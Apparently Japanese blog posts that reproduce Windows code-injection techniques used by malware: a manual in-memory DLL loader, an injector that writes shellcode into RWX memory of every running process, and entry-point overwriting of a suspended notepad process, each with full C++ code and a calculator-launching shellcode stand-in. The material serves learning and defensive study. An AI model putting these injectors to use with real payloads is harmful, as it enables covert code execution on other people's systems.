// ロードしたDLLの実行 ///////////////////////////////////////// DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); /////////////////////////////////////////
コード
以下が完成したコード。
#include <Windows.h> #include<stdio.h> typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved); int main() { // DLLファイルのロード HANDLE hdll = CreateFileA("[PATHTODLL]\\TestDLL.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dllSize = GetFileSize(hdll, NULL); LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize); ReadFile(hdll, dllBytes, dllSize, NULL, NULL); // NTヘッダーのロード PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(GetCurrentProcess(), dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders, NULL); // セクションのロード ///////////////////////////////////////// PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); WriteProcessMemory(GetCurrentProcess(), sectionDestination, sectionBytes, section->SizeOfRawData, NULL); section++; } ///////////////////////////////////////// // ベース再配置 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; DWORD relocationsProcessed = 0; // Deltaを求める DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; WriteProcessMemory(GetCurrentProcess(), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); } } ///////////////////////////////////////// // IATの解決 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); LPCSTR libraryName = ""; HMODULE library = NULL; // インポートが必要なDLL分ループ while (importDescriptor->Name != NULL) { // DLL名をもとにメモリにモジュールをロード libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; library = LoadLibraryA(libraryName); if (library) { // PIMAGE_THUNK_DATA構造体、すなわちIATへのポインタを取得 PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase); // インポートするAPI分ループ while (thunk->u1.AddressOfData != NULL) { // 序数に基づいてインポート if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { // API名に基づいてインポート PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); //printf("IAT Resolving 0x%p -> 0x%p\n", thunk->u1.Function + (DWORD_PTR)dllBase ,functionAddress); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; } ///////////////////////////////////////// // ロードしたDLLの実行 ///////////////////////////////////////// DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); ///////////////////////////////////////// CloseHandle(hdll); HeapFree(GetProcessHeap(), 0, dllBytes); return 0; }
デモ
実際に動作させてみた様子が以下の動画。
IATが順次解決され、最終的にDLLが適切に読み込まれている様子が確認できる。IATを解決してメモリからDLLをロードしている様子 pic.twitter.com/2bhdRm3GzP
— ry0kvn (@ry0kvn) 2020年1月19日
参考サイト
http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
VirtualQueryExによるRWX保護メモリの列挙をやってみる
VirtualQueryExによるRWX保護メモリの列挙をやってみる
マルウェアが使う基本的なcode injection手法の一部には、最初にVritualAllocを使ってターゲットプロセス内に実行可能なメモリ領域を割り当て、その領域にコードを書き込むことで攻撃者が望む処理を実行させることがある。
今回はVirtualQueryExを利用して、ターゲット端末内で動作する全てのプロセス上の既に割り当てられているRWX保護なメモリ領域を発見しシェルコードの書き込みと実行をさせてみる。
まず先んじて、仮想アドレス空間内のページに関する情報を列挙するプログラムを実装する。
仮想アドレス領域内のページ情報
Windowsにおいてプロセスの仮想アドレス領域内の各ページは、状態(State)、アクセス保護(Protect)、タイプ(Type)の3つの要素を持つ。 以下に3つの要素が取りうる値をそれぞれまとめた。
State | Value | Meaning |
---|---|---|
MEM_COMMIT | 0x1000 | Indicates committed pages for which physical storage has been allocated, either in memory or in the paging file on disk. |
MEM_FREE | 0x10000 | Indicates free pages not accessible to the calling process and available to be allocated. For free pages, the information in the AllocationBase, AllocationProtect, Protect, and Type members is undefined. |
MEM_RESERVE | 0x2000 | Indicates reserved pages where a range of the process's virtual address space is reserved without any physical storage being allocated. For reserved pages, the information in the Protect member is undefined. |
Type | Value | Meaning |
---|---|---|
MEM_IMAGE | 0x1000000 | Indicates that the memory pages within the region are mapped into the view of an image section. |
MEM_MAPPED | 0x40000 | Indicates that the memory pages within the region are mapped into the view of a section. |
MEM_PRIVATE | 0x20000 | Indicates that the memory pages within the region are private (that is, not shared by other processes). |
アクセス保護に関しては長すぎるので以下のページを参照してほしい。
https://docs.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants
シェルコードが実行可能なのは、それぞれStateがMEM_COMMIT、TypeがMEM_PRIVATE、メモリ保護がPAGE_EXECUTE_READWRITEなメモリ領域である。
VirtualQueryExによるページ情報取得
VirtualQueryEXにターゲットプロセスのハンドルを渡すことで、仮想メモリのページ情報を得ることができる。 具体的には以下のようなMEMORY_BASIC_INFORMATION構造体に各種情報が格納される。
typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
まずは特定のプロセスに対してこれらの情報を取得するプログラムを実装してみる。
#include<stdio.h> #include <Windows.h> #include <cstdlib> // pause() int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; STARTUPINFOA StartupInfo = {}; PROCESS_INFORMATION ProcessInfo = {}; CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo); printf("ProcessId:%d\n", ProcessInfo.dwProcessId); printf("Base address\t\tState\tType\tProtection\n"); while (VirtualQueryEx(ProcessInfo.hProcess, offset, &mbi, sizeof(mbi))) { printf("%p", mbi.BaseAddress); printf("\t%x", mbi.State); printf("\t%x", mbi.Type); printf("\t%x\n", mbi.AllocationProtect); offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); } system("PAUSE"); TerminateProcess(ProcessInfo.hProcess, NULL); CloseHandle(ProcessInfo.hProcess); return 0; }
これを実行すると次のような結果が得られる。 Process Hackerで取得できる内容と一致していることがわかる。
シェルコードの書き込みと実行
次にシステム上で動作する全プロセスに対してページ情報を取得するプログラムを実装する。 これはCreateToolhelp32SnapshotとProcess32First、Process32Nextを使えばよい。
最後に、RWX保護なメモリ領域に対して悪意あるシェルコードに見立てた電卓を起動するシェルコードを書き込み実行させてみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
完成したコードは以下のようになる。
#include <iostream> #include <Windows.h> #include <TlHelp32.h> int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; HANDLE process = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); DWORD bytesWritten = 0; unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; Process32First(snapshot, &processEntry); while (Process32Next(snapshot, &processEntry)) { process = OpenProcess( MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { std::wcout << processEntry.szExeFile << "[" << processEntry.th32ProcessID << "]\n"; while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) { std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL); } } offset = 0; } CloseHandle(process); } return 0; }
目当てのメモリ領域を見つかるとWriteProcessMemoryでシェルコードをその領域へ書き込み、CreateRemoteThreadでターゲットプロセス内に新規スレッドを作成することでシェルコードが実行される。
以下のように電卓が起動するはずだ。
まとめ
本記事の内容は参考サイトで見つけた内容をそのまま手元で再現してみたというものだ。 Windos APIを使いこなせればシステムに関する各種情報を簡単に収集でき強力なプログラムを組めるということが実感できた。
参考サイト
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる。 PEファイルフォーマットのAddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスを指している。したがってAddressOfEntryPointが指すメモリ領域の属性は必ず実行可能である。 プロセスのメインスレッドの実行に先んじてこのメモリ領域をシェルコードで上書きすることで、任意のコードを実行できる。
今回は悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
PEファイルフォーマットのAddressOfEntryPointについて
PEファイルフォーマットはWindowsのローダが認識してくれる実行可能ファイルの主流フォーマットである。 AddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスであり、RVAであらわされる。RVAはファイル内オフセットと同義であり、また実際のアドレスからイメージのロードアドレスを引いた値のことである。したがって実際のエントリポイントのアドレスは、イメージファイルが仮想メモリにロードされるアドレスであるImageBaseにAddressOfEntryPointを加算することで得られる。
AddressOfEntryPointはOptional headersに含まれ、Optional headersはDos Headerのe_lfanewが指す。
PEファイルフォーマットは以下の資料が理解の補助になるだろう。
http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
本手法の概要
本手法の流れは大まかに次のようになる。
- ターゲットプロセスをCREATE_SUSPENDで新規作成。
- ターゲットプロセスのPEBからImageBaseを取得する。
- ターゲットプロセスからAddressOfEntryPointを取得する。
- 仮想アドレス(AddressOfEntryPoint+ImageBase)へシェルコードを書き込む。
- ターゲットプロセスを再開させることでシェルコードが実行される。
CreateProcess関数にCREATE_SUSPENDフラグを付与してプロセスを新規作成することで、作成されたプロセスはエントリーポイントのずっと手前で停止する。
イメージファイルはWindowsローダーによって仮想メモリにロード、実行される。 仮想メモリのどこにロードされるかはローダーによって決められる。 PEファイルフォーマットではイメージファイル内にImageBaseというエントリがあり、例えば0x00400000や0x10000000などがデフォルトで指定される。もしこのアドレスへのロードに失敗した場合は、別のアドレスにロードされることとなりベース再配置処理などを行う必要がある。
実際にイメージファイルが仮想メモリのどこにロードされたかはPEB(Process Environment Block)から求めることができる。 詳細は省くが64bitアプリケーションの場合、PEBのベースアドレスからオフセット+0x10の位置にImageBaseが格納されている。
この部分の詳しい解説は以下の記事を参考にしてほしい。
コード
以下がAddressOfEntryPoint利用によるCode Injectionを実装したコードとなる。
#include <windows.h> #include <winternl.h> // PROCESS_BASIC_INFORMATION #include <cstdlib> // pause() #include<stdio.h> #pragma comment(lib, "ntdll") int main() { unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("ProcessId:%d\n", pProcessInfo->dwProcessId); // find remote PEB PROCESS_BASIC_INFORMATION* pBasicInfo = new PROCESS_BASIC_INFORMATION(); // get PROCESS_BASIC_INFORMATION NtQueryInformationProcess(pProcessInfo->hProcess, ProcessBasicInformation, pBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); // get ImageBase offset address from the PEB DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10; printf("PebBaseAddress:%p\n", pBasicInfo->PebBaseAddress); // get ImageBase DWORD64 ImageBase = 0; SIZE_T ReadSize = 8; SIZE_T bytesRead = NULL; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead); printf("ImageBase:%p\n", ImageBase); // read target process image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)ImageBase, headersBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD64)ImageBase); printf("codeEntry:%p\n", codeEntry); // write shellcode to image entry point and execute it WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)codeEntry, shellcode, sizeof(shellcode), NULL); ResumeThread(pProcessInfo->hThread); system("PAUSE"); TerminateProcess(pProcessInfo->hProcess, NULL); }
デモ
実際に動作させてみる。 まず次のようにコードで取得したnotepad.exeのImageBaseと、Process HackerによるImageBaseが一致することがわかる。
続いてAddressOfEntryPointがNikPEViewerによるものと一致することがわかる。
最後に電卓が起動して理論通り動作していることが確かめられた。